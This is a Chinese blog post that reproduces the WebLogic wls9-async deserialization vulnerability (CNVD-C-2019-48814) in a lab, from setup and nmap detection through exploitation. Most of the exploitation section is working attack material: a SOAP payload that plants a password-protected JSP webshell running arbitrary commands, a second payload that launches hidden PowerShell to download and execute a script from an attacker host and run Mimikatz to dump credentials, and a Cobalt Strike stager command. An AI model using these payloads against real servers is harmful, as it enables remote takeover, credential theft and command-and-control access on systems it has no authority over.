欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞

程序员文章站 2022-04-28 21:26:22
...

0x01 漏洞介绍

中国民生银行红蓝对抗演习时,红队使用这个0day,拿下防守方的服务器

该漏洞存在于wls9-async组件,这个组件主要作用是异步通讯服务,攻击者可以向/—async/AsyncResponseSerce路径下传入构造好的恶意XML格式的数据,传入的数据在服务器端反序列化,执行1其中的恶意代码,从而可以getshell。

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象

0x02 影响版本

  • weblogic 10.3.6.0
  • weblogic 12.1.3.0.0
  • weblogic 12.2.1.1.0
  • weblogic 12.2.1.2.0

0x03 环境搭建

1 环境准备
(1) kali 
(2) windows server 2008 R2(192.168.4.106) 
(3)jdk(1.8版本)
(4)weblogic服务器的安装包12.1.3.0

2.  服务器上安装jdk,然后配置环境变量,在cmd下输入jacac 或者java -versoon能返回正常信息说明配置正确
3. 安装weblogic:把下载的weblogic安装包放到jdk的bin目录下,cd到jdk的bin目录下执行安装命令
     java -jar fmw_12.1.3.0.0_wls.jar

CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
然后会弹出weblogic的安装引导,完成安装后一会就进入到默认配置环节,配置后点击startweblogic启动服务器即可。
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
4 完成上述步骤后,使用浏览器访问下面的url: ip :7001/console/logic/LoginForm.jsp
http://192.168.4.106:7001/console/login/LoginForm.jsp出现以下页面说明环境搭建成功
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞

0x04 漏洞复现

1.判断是否存在漏洞,访问http://192.168.4.106:7001/_async/AsyncResponseService
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
若出现这样的页面说明可能存在漏洞
2.使用nmap扫描。使用脚本weblogic-wls9-async.nse(脚本需要自己导入,从网上下载后放到/usr/shar/nmap的script的目录下)
使用命令 nmap --script=weblogic-wls9-async.nse 192.168.4.106
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
已经扫描出漏洞,确认漏洞是真实存在的

3.进行漏洞利用,使用bp拦截/—async/AsyncResponseService数据包发送到respeater中,修改method的,修改新增字段的值,将content-type修改成text/xml
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
在post的data中添加下面李炎的poc

   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
    xmlns:wsa="http://www.w3.org/2005/08/addressing" 
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.8.0_131" class="java.beans.xmlDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
    <void method="println"><string><![CDATA[
    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;          
            byte[] b = new byte[1024];          
            out.print("<pre>");          
            while((a=in.read(b))!=-1){
                out.println(new String(b));          
            }
            out.print("</pre>");
        } 
        %>]]>
    </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

返回值如下:

CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
4.成功后访问:http://192.168.4.106:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
可以看到已经拿到shell,尝试查询系统信息
http://192.168.4.106:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=systeminfo
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
这就已经完成对weblogic的简单利用

0x05 使用cs来反弹shell

使用payload的来源
[https://github.com/SkyBlueEternal/CNVD-C-2019-48814-CNNVD-201904-961]
该shell只能用于windows系统

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.128:80/a'))"; Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

  1. 开启cobalt strike 创建lister
    CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
    2.点击攻击使用web脚本传递
    CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
    3 生成powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.115.XX.XXX:80/b'))"

将其插到对应payload的对应位置
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
4.使用bp将payload上传到服务器上 ,可以看到肉鸡成功上线
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞

相关标签: Weblogic